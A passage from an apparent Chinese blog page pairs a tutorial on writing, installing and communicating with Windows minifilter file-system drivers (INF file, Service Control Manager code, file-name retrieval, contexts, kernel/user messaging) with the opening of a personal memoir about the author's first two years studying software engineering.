PFLT_CALLBACK_DATA Data, __in PCFLT_RELATED_OBJECTS FltObjects, __in_opt PVOID CompletionContext, __in FLT_POST_OPERATION_FLAGS Flags );在该函数中的返回值一般有如下几个:FLT_POSTOP_FINISHED_PROCESSING:向Minfilter管理器返回成功FLT_POSTOP_MORE_PROCESSING_REQUIRED:需要Minfilter管理器另外开一个线程,用来作为工作者线程,处理需要在低IRQL请求中完成的工作判断DATA的操作类型的宏FLT_IS_IRP_OPERATION:判断这个是否是一个IRP请求FLT_IS_FASTIO_OPERATION:判断这个是否是一个FASTIO请求FLT_IS_FS_FILTER_OPERATION:判断这个是否是一个文件系统过滤的请求Minfilter的安装以inf文件安装inf文件是一个安装信息的配置文件,指明了安装的.sys文件路径,安装到哪个位置,以及写到注册表中的何种位置,下面是一个具体的例子,在这只列举了比较重要的部分:[Version] Signature = "$Windows NT$" Class = "ActivityMonitor" ;This is determined by the work this filter driver does ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class Provider = %Msft% DriverVer = 06/16/2007,1.0.0.0 CatalogFile = nullfilter.cat [DestinationDirs] DefaultDestDir = 12 NullFilter.DriverFiles = 12 ;%windir%\system32\drivers ;; ;; Default install sections ;; [DefaultInstall] OptionDesc = %ServiceDescription% CopyFiles = NullFilter.DriverFiles [DefaultInstall.Services] AddService = %ServiceName%,,NullFilter.Service [DefaultUninstall] DelFiles = NullFilter.DriverFiles [DefaultUninstall.Services] DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting [NullFilter.Service] DisplayName = %ServiceName% Description = %ServiceDescription% ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ Dependencies = "FltMgr" ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER StartType = 3 ;SERVICE_DEMAND_START ErrorControl = 1 ;SERVICE_ERROR_NORMAL LoadOrderGroup = "FSFilter Activity Monitor" AddReg = NullFilter.AddRegistry [NullFilter.AddRegistry] HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% [NullFilter.DriverFiles] %DriverName%.sys [SourceDisksFiles] nullfilter.sys = 1,, [SourceDisksNames] 1 = %DiskId1%,,, [Strings] Msft = "Microsoft Corporation" ServiceDescription = "NullFilter mini-filter driver" ServiceName = "NullFilter" DriverName = "NullFilter" DiskId1 = "NullFilter Device Installation Disk" ;Instances specific information. DefaultInstance = "Null Instance" Instance1.Name = "Null Instance" Instance1.Altitude = "370020" Instance1.Flags = 0x1 ; Suppress automatic attachments下面对这些部分进行说明:以[]括起来的部分是一个节,inf文件就是由不同的节组成version节规定了程序的版本信息2.1 Class是程序的类,这个值是由驱动具体的功能决定的,这个值其实规定了Altitude的值,也就是驱动在IO栈上的位置。微软提供了不同用途的具体的class值,只需要去对应的网站查询,然后根据具体情况填写即可,点击这里查看2.2 ClassGuid:是上述Class所对应的GUID值,这个值在上面的链接中可以查到DestinationDirs 规定目标文件的路径,就是你希望将驱动文件安装到哪个目录下,填入的12表示是在C:\Windows\System32\Drivers目录DefaultInstall.Services节表示了要将这个驱动以服务的形式启动起来,AddService 表示添加一个服务,后面是服务的名称,标志,以及安装详细信息的节名称,这里指定安装详细信息在节NullFilter.Service中DefaultUninstall 表示卸载的节点,DelFiles值表名卸载的信息在节点NullFilter.DriverFiles中NullFilter.Service节点中规定了安装的详细信息:6.1 DisplayName表示的是服务的显示名称6.2 ServiceDescription 服务的描述信息6.3 ServiceBinary服务程序所在的路径6.4 Dependencies该服务的依赖项,就是这个服务要运行必须提前启动他的依赖项服务,Minfilter的驱动是依赖与"FltMgr"服务6.5 ServiceType 表示服务程序的类型,2 是表示文件系统的服务,这些值可以在MSDN中查到,只需要搜索关于Service的函数 即可,比如CreateService6.6 StartType 启动类型,3表示手动启动,这个信息也可以通过查询MSDN,方法与ServiceType值的查询相同6.7 ErrorControl,错误码,当驱动出错时系统怎么处理,1表示一个常规的处理方式6.8 LoadOrderGroup 加载这个驱动的用户组6.9 AddReg加入注册表信息所在的节点NullFilter.AddRegistry 加入注册表信息的节点,其中的每一项都是一个注册表的项String节中的内容可以看作是一组变量值的定义,当某些字符串过长或者需要反复使用,可以为它定义一个变量,为了以后使用时的方便。在使用时按照%变量名%的形式,最终在解析时会将其进行替换这份文件是一个通用的模板,以后在使用inf进行Minfilter驱动程序的安装时,只需要修改其中的名称,另外需要修改的可能就是服务启动的那部分内容了inf文件编写完成后,只需要点击右键-->安装即可,安装完成后在cmd下使用命令net start 驱动名 即可启动命令,卸载则使用net stop 驱动名用编程的方法动态加载安装驱动驱动安装主要的工作是将驱动加载到服务程序并填写相关注册表项,大致需要这样几步:调用OpenSCManager 打开服务控制管理器的句柄调用CreateService函数,为驱动创建一个服务设置注册表的值,其中打开注册表键使用函数RegCreateKeyEx,设置注册表的值用函数RegSetValueEx。BOOL InstallDriver(const char* lpszDriverName,const char* lpszDriverPath,const char* lpszAltitude) { char szTempStr[MAX_PATH]; HKEY hKey; DWORD dwData; char szDriverImagePath[MAX_PATH]; if( NULL==lpszDriverName || NULL==lpszDriverPath ) { return FALSE; } //得到完整的驱动路径 GetFullPathName(lpszDriverPath, MAX_PATH, szDriverImagePath, NULL); SC_HANDLE hServiceMgr=NULL;// SCM管理器的句柄 SC_HANDLE hService=NULL;// NT驱动程序的服务句柄 //打开服务控制管理器 hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); if( hServiceMgr == NULL ) { // OpenSCManager失败 CloseServiceHandle(hServiceMgr); return FALSE; } // OpenSCManager成功 //创建驱动所对应的服务 hService = CreateService( hServiceMgr, lpszDriverName, // 驱动程序的在注册表中的名字 lpszDriverName, // 注册表驱动程序的DisplayName 值 SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限 SERVICE_FILE_SYSTEM_DRIVER, // 表示加载的服务是文件系统驱动程序 SERVICE_DEMAND_START, // 注册表驱动程序的Start 值 SERVICE_ERROR_IGNORE, // 注册表驱动程序的ErrorControl 值 szDriverImagePath, // 注册表驱动程序的ImagePath 值 "FSFilter Activity Monitor",// 注册表驱动程序的Group 值 NULL, "FltMgr", // 注册表驱动程序的DependOnService 值 NULL, NULL); if( hService == NULL ) { if( GetLastError() == ERROR_SERVICE_EXISTS ) { //服务创建失败,是由于服务已经创立过 CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 return TRUE; } else { CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 return FALSE; } } CloseServiceHandle(hService); // 服务句柄 CloseServiceHandle(hServiceMgr); // SCM句柄 //------------------------------------------------------------------------------------------------------- // SYSTEM\\CurrentControlSet\\Services\\DriverName\\Instances子健下的键值项 //------------------------------------------------------------------------------------------------------- strcpy(szTempStr,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr,"\\Instances"); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szTempStr,0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的DefaultInstance 值 strcpy(szTempStr,lpszDriverName); strcat(szTempStr," Instance"); if(RegSetValueEx(hKey,"DefaultInstance",0,REG_SZ,(CONST BYTE*)szTempStr,(DWORD)strlen(szTempStr))!=ERROR_SUCCESS) { return FALSE; } RegFlushKey(hKey);//刷新注册表 RegCloseKey(hKey); //------------------------------------------------------------------------------------------------------- // SYSTEM\\CurrentControlSet\\Services\\DriverName\\Instances\\DriverName Instance子健下的键值项 //------------------------------------------------------------------------------------------------------- strcpy(szTempStr,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr,"\\Instances\\"); strcat(szTempStr,lpszDriverName); strcat(szTempStr," Instance"); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szTempStr,0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的Altitude 值 strcpy(szTempStr,lpszAltitude); if(RegSetValueEx(hKey,"Altitude",0,REG_SZ,(CONST BYTE*)szTempStr,(DWORD)strlen(szTempStr))!=ERROR_SUCCESS) { return FALSE; } // 注册表驱动程序的Flags 值 dwData=0x0; if(RegSetValueEx(hKey,"Flags",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS) { return FALSE; } RegFlushKey(hKey);//刷新注册表 RegCloseKey(hKey); return TRUE; }这里提供一个安装驱动的函数,在这个函数中将某些信息写入了注册表,注册表中变化的信息如下:HKEY_LOCAL_MACHINE中的SYSTEM\CurrentControlSet\Services\Nullfilter\Instances 中键 DefaultInstance = "nullfilter Instance"HKEY_LOCAL_MACHINE中的SYSTEM\CurrentControlSet\Services\Nullfilter\ nullfilter Instances 中键 altitude = “370020”,键Flags = 0启动驱动驱动的启动与普通的服务程序的启动方法一样,这里直接贴上代码:BOOL StartDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; if(NULL==lpszDriverName) { return FALSE; } schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { CloseServiceHandle(schManager); return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } if(!StartService(schService,0,NULL)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); if( GetLastError() == ERROR_SERVICE_ALREADY_RUNNING ) { // 服务已经开启 return TRUE; } return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }停止驱动的运行BOOL StopDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; SERVICE_STATUS svcStatus; bool bStopped=false; schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schManager); return FALSE; } if(!ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus) && (svcStatus.dwCurrentState!=SERVICE_STOPPED)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }删除驱动BOOL DeleteDriver(const char* lpszDriverName) { SC_HANDLE schManager; SC_HANDLE schService; SERVICE_STATUS svcStatus; schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if(NULL==schManager) { return FALSE; } schService=OpenService(schManager,lpszDriverName,SERVICE_ALL_ACCESS); if(NULL==schService) { CloseServiceHandle(schManager); return FALSE; } ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus); if(!DeleteService(schService)) { CloseServiceHandle(schService); CloseServiceHandle(schManager); return FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schManager); return TRUE; }Minfilter中如何获取各种信息的值Minfilter中将IRP进行了封装,但是在获取各种值时基本上变化不大,而且相对于之前的Sfilter简单了许多,下面假定在函数中有了它的CALL_BACK_DATA结构,有这样一条语句PFLT_CALLBACK_DATA Data获取当前进程的EPROCESS结构/*如果当前线程的ETHREAD结构不为NULL则根据线程ETHREAD来获取进程否则调用函数PsGetCurrentProcess()获取当前进程的EPROCESS结构*/ PEPROCESS processObject = Data->Thread ? IoThreadToProcess(Data->Thread) : PsGetCurrentProcess();向R3层返回数据Data->IoStatus.Status = ntStatus; Data->IoStatus.Information = 0;与使用IRP相似,在DATA中仍然使用IoStatus成员向R3返回,上述两句的意思与使用IRP时完全相同文件路径的获取文件路径的获取与Sfilter相比,简单了许多,只需要调用一个函数FltGetFileNameInformation,这个函数的定义在MSDN中可以查到,所以就不再这里做过多的说明,该函数会返回一个FLT_FILE_NAME_INFORMATION结构体用来保存文件名信息,结构体FLT_FILE_NAME_INFORMATION的定义如下所示typedef struct _FLT_FILE_NAME_INFORMATION { USHORT Size; FLT_FILE_NAME_PARSED_FLAGS NamesParsed; FLT_FILE_NAME_OPTIONS Format; UNICODE_STRING Name; UNICODE_STRING Volume; UNICODE_STRING Share; UNICODE_STRING Extension; UNICODE_STRING Stream; UNICODE_STRING FinalComponent; UNICODE_STRING ParentDir; } FLT_FILE_NAME_INFORMATION, *PFLT_FILE_NAME_INFORMATION;这个结构体记录了文件路径的各种信息,其中各个字符串都是根据Format的值来进行格式化得到的,需要注意的是在上述位置得到的文件名是类似与“\Device\HarddiskVolume1\Documents and Settings\MyUser\My Documents\Test Results.txt:stream1”的而不是我们之前熟悉的"C:\Documents and Settings\MyUser\My Documents\Test Results.txt:stream1",这就需要进行转化。需要注意的是在获取文件名时要在PostCreate函数中获取,因为当调用这个函数时说明根据传进来的文件路径已经正确打开了文件,这个时候的路径名一定是可靠的。 NTSTATUS ntStatus; PFLT_FILE_NAME_INFORMATION pNameInfo = NULL; UNREFERENCED_PARAMETER( Data ); UNREFERENCED_PARAMETER( FltObjects ); UNREFERENCED_PARAMETER( CompletionContext ); UNREFERENCED_PARAMETER( Flags ); //获取文件路径信息 ntStatus = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED| FLT_FILE_NAME_QUERY_DEFAULT, &pNameInfo); if (NT_SUCCESS(ntStatus)) { //解析获取到的信息 FltParseFileNameInformation(pNameInfo); DbgPrint("FileName:%wZ\n", &pNameInfo->Name); //使用完成后释放这个空间 FltReleaseFileNameInformation(pNameInfo); }函数FltGetFileNameInformation会自动为我们分配一个缓冲区来存储文件的信息,所以最后需要调用Release函数释放。另外通过调试的情况来看,FltGetFileNameInformation函数并不能获取文件路径的所有信息,一些扩展信息像Extension或者Parent这样的信息开始是没有的,只有通过FltParseFileNameInformation在已有信息的基础之上进行解析才会有。至于重命名的文件路径的获取使用下面的语句:PFILE_RENAME_INFORMATION pFileRenameInfomation = (PFILE_RENAME_INFORMATION)Data->Iopb->Parameters.SetFileInformation.InfoBuffer;在MInfilter中进行文件操作尽量使用以Flt开头的函数,不要使用Zw开头的那一组,以Zw开头的函数最终会触发Minfilter的回调函数,最终会造成无限递归Minfilter上下文在编程中,我们经常会遇到上下文这个概念,比如说进程上下文,线程上下文等等,在这里上下文表示某些代码执行的具体环境,系统一般位于进程上下文和中断上下文。当系统处理进程上下文时,系统在代替R3层做某些事,此时系统在调用系统API,执行系统功能,当系统处于进程上下文时是可以被挂起的。而当系统响应中断与具体硬件进行交互时处于中断上下文,此时的数据都位于非分页内存,而且不能睡眠而Minfilter上下文指的并不是代码运行的环境,而是一组数据,这组数据是附加到具体的设备对象上的,由用户自己定义。在使用时先利用函数AllocateContext分配一段内存空间,然后使用一组Set和Get函数来设置和获取设备上下文。具体的函数由不同的上下文来决定,下面是不同的上下文与他们对应的Set函数之间的关系|Context Type| Set-Context Routine||:--------------|:-||FLT_FILE_CONTEXT|Windows Vista and later only.) FltSetFileContext||FLT_INSTANCE_CONTEXT|FltSetInstanceContext||FLT_STREAM_CONTEXT|FltSetStreamContext||FLT_STREAMHANDLE_CONTEXT|FltSetStreamHandleContext||FLT_TRANSACTION_CONTEXT|(Windows Vista and later only.) FltSetTransactionContext||FLT_VOLUME_CONTEXT|FltSetVolumeContext|Get函数的使用与上述相同。最后使用完成后需要使用FltReleaseContext来释放这个上下文。下面是一个使用的具体例子typedef struct _INSTANCE_CONTEXT { … } INSTANCE_CONTEXT, *PINSTANCE_CONTEXT; PINSTANCE_CONTEXT pContext = NULL; //从设备对象上获取上下文 ntStatus = FltGetInstanceContext(FltObjects->Instance, & pContext); if(NT_SUCCESS(Status) == FALSE) { //设备上没有上下文则分配上下文的内存 ntStatus = FltAllocateContext(g_pFilter,FLT_INSTANCE_CONTEXT, sizeof(INSTANCE_CONTEXT), PagedPool,& pContext); if(NT_SUCCESS(Status) == FALSE) { //返回资源不足 return STATUS_INSUFFICIENT_RESOURCES; } RtlZeroMemory(pContext, sizeof(INSTANCE_CONTEXT)); } pContext ->m_DeviceType = VolumeDeviceType; pContext->m_FSType = VolumeFilesystemType; FltSetInstanceContext(FltObjects->Instance, FLT_SET_CONTEXT_REPLACE_IF_EXISTS,pContext,NULL); if (pContext) { FltReleaseContext(pContext); } //获取访问 PINSTANCE_CONTEXT pContext = NULL; Status = FltGetInstanceContext(FltObjects->Instance,&pContext); //下面是使用这个上下文,和一些其他的操作 pContext->xxx = xxx;回调函数运行的中断请求级别(IRQL)pre回调函数可以运行在APC_LEVEL或者PASSIVE_LEVEL 级别,但是一般是运行在PASSIVE_LEVEL级别如果一个Pre函数返回的是FLT_PREOP_SYNCHRONIZE,那么相对的,在同一个线程内部,它对应的POST函数将在IRQL <= APC_LEVEL级别运行。与对应的Pre在一个线程内时,fast IO请求对应的Post函数运行在PASSIVE_LEVEL级别Create回调的Post函数运行在PASSIVE_LEVEL级别当我们不确定当前代码所处的IRQL时可以使用函数KeCurrentIrql获取当前执行环境所在的IRQL。R3 与R0的通信R3在调用Minfilter中的相关函数时需要包含相关的库文件,与Lib文件,具体怎么包含这个我不太清楚,只需要在库项目属性的VC++目录下面这几项包含具体的路径即可包含目录 :“$(VC\_IncludePath);$(WindowsSDK_IncludePath);”库路径: "$(VC\_LibraryPath_x86);$(WindowsSDK\_LibraryPath\_x86);$(NETFXKitsDir)Lib\um\x86"之前R3与R0进行通信是通过R3调用DeviceIoControl函数将数据下发到R0层,然后R3等待一个事件,在R0处理完成R3的请求并准备好往上发的数据后将事件的对象设置为有信号,这样R3再从缓冲区中取数据,完成双方的通信,但是在Minfilter中准备了专门的函数用于双方通信。R3向R0下发数据R3层通过函数FilterSendMessage向R0下发数据,而R0通过fnMessageFromClient接收从R3发下来的数据。在Minfilter中R3与R0是通过各自的端口进行通讯的,这个端口与传统意义上的网络的通信端口不同,是一个抽象的概念,不需要太过于关注。在与R3进行通讯之前需要设置这个端口,端口的设置使用函数FltCreateComunicationPort,在这个函数调用时需要提供这样几个回调函数ConnectNotifyCallback:这个函数在R3层链接到R0的这个通讯端口时调用,在这个函数中可以拿到R3的进程句柄和R3的端口DisconnectNotifyCallback:当R3层与R0层断开时调用这个回调函数MessageNotifyCallback:当R3有数据下发下来调用这个回调,在这个函数中取R3发下来的数据R0向R3上报数据R0向R3上报数据时是一个双向的过程,R0既要上报数据,又要等待R3的返回,就好像之前的弹窗一样,当R0上报数据后就等待40s,在接收到R3的进一步指示时进行下一步,R0向R3上报大致经历这样的几个过程:R0通过函数FltSengMesage将数据发送到R3R3通过函数FilterGetMessage函数接收到R0的数据,并进行相应的处理处理完成后,调用函数FilterReplyMessage将处理结果返回给R0。另外需要注意一点,在进行通讯时需要两套数据结构,这两套分别运用在R3和R0两层,每一层都有两个数据结构,用来表示接收和返回的数据,拿R3来说,它需要一个MESSAGE结构体来接收从R0层发过来的数据,另外需要一个REPLY用于向R0返回数据。R3上报和下发的数据相比于R0需要多加一个FILTER_MESSAGE_HEADER的头,便于Minfilter分辨是哪个客户端下发的数据,Minfilter 根据这个头做相关的处理后将其于的数据发送到R0,所以R0能够正确知道是哪个进程在进行相关请求,而不需要添加额外的结构体下面是一个例子NTSTATUS ScannerpScanFileInUserMode ( __in PFLT_INSTANCE Instance, __in PFILE_OBJECT FileObject, __out PBOOLEAN SafeToOpen ) /*读取文件中的部分数据,然后交由R3处理,并根据R3返回的结果判断R3是否安全*/ { NTSTATUS status = STATUS_SUCCESS; PVOID buffer = NULL; ULONG bytesRead; PSCANNER_NOTIFICATION notification = NULL; FLT_VOLUME_PROPERTIES volumeProps; LARGE_INTEGER offset; ULONG replyLength, length; PFLT_VOLUME volume = NULL; *SafeToOpen = TRUE; if (ScannerData.ClientPort == NULL) { return STATUS_SUCCESS; } try { status = FltGetVolumeFromInstance( Instance, &volume ); if (!NT_SUCCESS( status )) { leave; } status = FltGetVolumeProperties( volume, &volumeProps, sizeof( volumeProps ), &length ); if (NT_ERROR( status )) { leave; } //取1024和扇区的最大值,保证读取的数据至少有一个扇区的大小 length = max( SCANNER_READ_BUFFER_SIZE, volumeProps.SectorSize ); /*分配一块内存用于从文件中读取数据,在minfilter中进行文件操作时申请缓冲区最好使用flt开头的一组函数,因为它不是简单的分配一块内存,还能保证在有程序使用这段内存时不会出现内存已被释放的情况,内部可能也用了引用计数*/ buffer = FltAllocatePoolAlignedWithTag( Instance, NonPagedPool, length, 'nacS' ); if (NULL == buffer) { status = STATUS_INSUFFICIENT_RESOURCES; leave; } //构建发送给R3层的结构体的内存 notification = ExAllocatePoolWithTag( NonPagedPool, sizeof( SCANNER_NOTIFICATION ), 'nacS' ); if(NULL == notification) { status = STATUS_INSUFFICIENT_RESOURCES; leave; } offset.QuadPart = bytesRead = 0; status = FltReadFile( Instance, FileObject, &offset, length, buffer, FLTFL_IO_OPERATION_NON_CACHED | FLTFL_IO_OPERATION_DO_NOT_UPDATE_BYTE_OFFSET, &bytesRead, NULL, NULL ); if (NT_SUCCESS( status ) && (0 != bytesRead)) { notification->BytesToScan = (ULONG) bytesRead; /*将这段信息发送到R3,这个函数是一个阻塞的函数,只有当超时值过了或者R3返回了数据才会返回,在这设置超时值为NULL表示会一直等待,在这返回值也是使用notification做为接受返回值的缓冲,在这不会出现覆盖的情况,因为这个函数在调用后首先是R3接受数据,然后进行处理,处理完成后R3才会主动调用另一个API返回数据,所以这里有一个时间差,当获取到返回值时之前传入的数据已经没有用了,这里将发送的缓冲与返回的缓冲定义为同一个只是为了节省内存*/ RtlCopyMemory( ¬ification->Contents, buffer, min( notification->BytesToScan, SCANNER_READ_BUFFER_SIZE ) ); replyLength = sizeof( SCANNER_REPLY ); //在这我们将 status = FltSendMessage( ScannerData.Filter, &ScannerData.ClientPort, notification, sizeof(SCANNER_NOTIFICATION), notification, &replyLength, NULL ); if (STATUS_SUCCESS == status) { *SafeToOpen = ((PSCANNER_REPLY) notification)->SafeToOpen; } else { DbgPrint( "!!! scanner.sys --- couldn't send message to user-mode to scan file, status 0x%X\n", status ); } } } finally { //最后清理内存 if (NULL != buffer) { FltFreePoolAlignedWithTag( Instance, buffer, 'nacS' ); } if (NULL != notification) { ExFreePoolWithTag( notification, 'nacS' ); } if (NULL != volume) { FltObjectDereference( volume ); } } return status; }这个例子演示了R0层如何从磁盘中读取文件内容,然后发送到R3,并从R3层上接受返回。下面这个例子将演示R3如何读取R0发上来的数据 while (TRUE) { //这是一个阻塞函数,当能从R0接受到数据的时候返回 result = GetQueuedCompletionStatus( Context->Completion, &outSize, &key, &pOvlp, INFINITE ); message = CONTAINING_RECORD( pOvlp, SCANNER_MESSAGE, Ovlp ); if (!result) { hr = HRESULT_FROM_WIN32( GetLastError() ); break; } printf( "Received message, size %d\n", pOvlp->InternalHigh ); notification = &message->Notification; assert(notification->BytesToScan <= SCANNER_READ_BUFFER_SIZE); /*R3层定义的这个SCANNER_MESSAGE结构体是在notification这个结构体的基础之上加了一个头,所以大小会大于这个notification*/ __analysis_assume(notification->BytesToScan <= SCANNER_READ_BUFFER_SIZE); //这个函数是一个自定义函数,用来扫描R0传上来的数据有没有特定的字符 result = ScanBuffer( notification->Contents, notification->BytesToScan ); replyMessage.ReplyHeader.Status = 0; replyMessage.ReplyHeader.MessageId = message->MessageHeader.MessageId; replyMessage.Reply.SafeToOpen = !result; printf( "Replying message, SafeToOpen: %d\n", replyMessage.Reply.SafeToOpen ); //向R0返回数据 hr = FilterReplyMessage( Context->Port, (PFILTER_REPLY_HEADER) &replyMessage, sizeof( replyMessage ) ); if (SUCCEEDED( hr )) { printf( "Replied message\n" ); } else { printf( "Scanner: Error replying message. Error = 0x%X\n", hr ); break; } memset( &message->Ovlp, 0, sizeof( OVERLAPPED ) ); //再次等待从R0下发的数据 hr = FilterGetMessage( Context->Port, &message->MessageHeader, FIELD_OFFSET( SCANNER_MESSAGE, Ovlp ), &message->Ovlp ); if (hr != HRESULT_FROM_WIN32( ERROR_IO_PENDING )) { break; } }
2016年10月23日
10 阅读
0 评论
0 点赞
2016-10-23
我的大学回忆录
我是今年刚从学校毕业的一名软件工程专业的学生,过去的美好时光一直在眼前浮现,我感觉自己的大学生活很美好,生活上有好室友好同学,在以后的规划上又有一位好的人生导师,虽然现在他们在全国各地,有可能这辈子再也见不到他们,但是过去跟他们相处的很愉快,就像一句话说的:不在乎天长地久,只在乎曾今拥有((∩_∩)这句话好像用在这有点不合适,但是我感觉最符合我现在的感觉吧,原谅我读书少)。之前一直想找个机会把在大学的时光记录一下,以便自己以后有个东西好回忆,然后给以后的朋友一个参考吧,但是由于一直在学习或者在忙其他事(其实就是懒)所以拖到现在,不过现在也好,工作了一段时间,我现在又有的新的感悟,现在就把自己的学习经历和现在的感悟一起发出来。同时也把自己当初在学习的时候看的书提一下,算是给后面入行的朋友指一条路。大一——懵懵懂懂在高考那年有点发挥失常,没有考到理想的分数,然后被一所2本学校的软件工程专业录取了,从此开始了4年的大学生活,其实开始的时候我并没有打算学软件工程,当时听家里人的建议主要是报的土木工程,但是好像我这个学校那年新开了一个软件工程专业,然后就这样被录取了。那个时候刚来大学的时候对一切都很好奇,早早的将学校逛了个遍,然后就是新生的军训,入学教育,头一个月就这样平平淡淡的过去了。那个时候我对计算机和相关的技术是没有什么概念的,之前接触计算机是在中学的信息技术课,那个时候的信息技术课对于我们而言就是能上网。所以在学校我对这个专业要学的东西一无所知。我记得那个时候学校开了一门叫做计算机导论的课,将计算机中涉及到的基本上简单介绍了一遍,但是我感觉基本上没什么用,那个时候讲的很多名词基本上都不记得。只知道当初坐我旁边的一个跟我侃各种硬件软件把我听的一愣一愣的。那个时候为学校也有许多社团,但是我一没特长二不知道自己的兴趣在哪,所以当初就报了一个跟专业相关的计算机协会,在这里面我差不多学会了装机以及安装系统,那个时候就社团组织了几次技术讲座,由高年级的学长讲课,然后有几次跟随社团成员一块在社区免费维修电脑,然后在里面被参加了一个装机比赛,苦练了一段时间,拿到了一个预选赛的第二,结果在决赛的时候掉链子了。那个时候还有一门课是C语言,这个是我第一次接触编程语言,那个时候痛苦并快乐着,辛辛苦苦改语法错误(那个时候程序都比较短,没有什么逻辑错误),然后看着它正确的结果,心里的成就感油然而生啊,但是后面接了网线之后一切都变了,为了腾出时间上网,作业没有以前那么认真,而且空余时间也不写程序了,所以说有的学校规定大一不允许带电脑是有道理的,这个时候是打基础的时候,有电脑有网,都没心情学习,基础没打好后面的几年就玩完了。我基本上就是处于这种情况,这个在我大二的时候体现的最为明显。下半年就开了数据结构这门课,很多学生都吐槽数据结构有多难,经过我的真实经历,我发现它是真的难,那个时候指针都没搞明白,而数据结构的算法基本上都是与指针有关,所以那个时候基本上就是想听也听不懂,给的例子代码基本上是一脸懵逼,那个时候只是知道一些基本的概念,大概知道各种数据结构的存储方式,但是算法是写不出来的。然后就这样结束了大一的时光。另外在插一句,网上有段子说亲戚朋友总以为学计算机的就要会修电脑,其实我特别理解这种误解,因为我开始也以为学计算机的基本技能就是要会修电脑,所以那个时候我对一些修电脑的技术特别上心,总是去图书馆借关于维修方面的书,我记得当初看过一本讲怎么挑选硬件,怎么组装那些硬件的书,然后又看了一本关于windows的安装与使用技巧的书,现在想想那个时候真的是什么都不懂,有劲使错了方向。大二——事倍功半我的大二基本上是白费的一年,到大二快结束的时候基本上几门主流语言都陆陆续续学了,那个时候基本的流程是上半年学习C++,下半年学习JAVA,那个时候第一次接触了面向对象,知道了面向对象的语言,那个时候在我的心里以后要找工作基本上只有C++和JAVA,所以需要在这两门语言中选一门学习,当下半年开了JAVA课,学了一段时间的Java后我果断选择了C++,那个时候主要的考虑有3点,第一点是我很不习惯Java那种大括号的格式,每次碰到那种格式,我总是习惯把它放下来,另起一行;第二点是当时我感觉Java很多东西都是用别人的库,感觉没有那种自由,没有太多的发挥空间,而我自己不太想记那些类和类中的方法,那个时候我一直认为C++很酷,要什么都可以自己写,现在想想自己当时真的很幼稚,如果什么都自己写,那现在开发一个应用程序也太慢了;第三点是java强迫你用面向对象,而且那个时候对比C++的hello world 和Java的hello world 我总感觉没有C++的简洁;第四点就是我当时对Visual C++环境太熟悉了,调试、断点、查看临时变量啥的都会,面对开始用命令行编译后来放到我还不会调试的Ecilpse上面我是拒绝的,那段时间主要也是自己懒,不想学新的环境;所以我决定自己以后要往C++上面发展。路选好了,剩下的自然就是学了,那个时候我们还开了一门数据库的课,当时做课程设计的时候需要写一个界面,然后那个时候我从百度上知道了MFC这个东西,那个时候自己比较抠,但是也花钱买了一本孙鑫老师的《VC++深入详解》那个时候就拖了一个对话框然后在网上找了一些代码完成了,而在下半年决定学C++后我下决心要啃完这本书,那个时候书上讲的MFC各个资源的使用我完全蒙了,这个时候我才发现我好多基本的语法都没过关,这个时候我抱着打基础的目的,在许多论坛上得到了很多免费的视频,很多时候我看了一点感觉我好像会了,接着去学一些高级的技术,但是基本上是又卡住了,这个时候再折回头看其他视频的基础部分,那个时候就在这循环,我现在想想那个时候的自己,感觉有点不可思议,为什么不能耐下心来把一套视频完整的看完,而好多看了一半又去找其他的视频,而我的大二就是在这样的一个死循环上面突破不了,那个时候虽说表面上我是在学习,但是我感觉自己并没有学到什么东西,时间都浪费了,而自己也越来越迷茫了,到底该不该走这条路,自己是不是不适合学编程。现在我才体会到网络有时候是个好东西,利用网络确实能给我们学习带来很多东西,但是网络上的学习资料太多,而自己方向不明确,有的时候东西太多会把自己带跑偏了。有的时候社会上都说大学生能力差,大学生在学校怎么堕落,但是我现在感觉到很多时候并不是我们不愿意学,而是缺少高中时候的那种引导,高中的时候一门心思想考大学,考大学需要什么就学什么,而且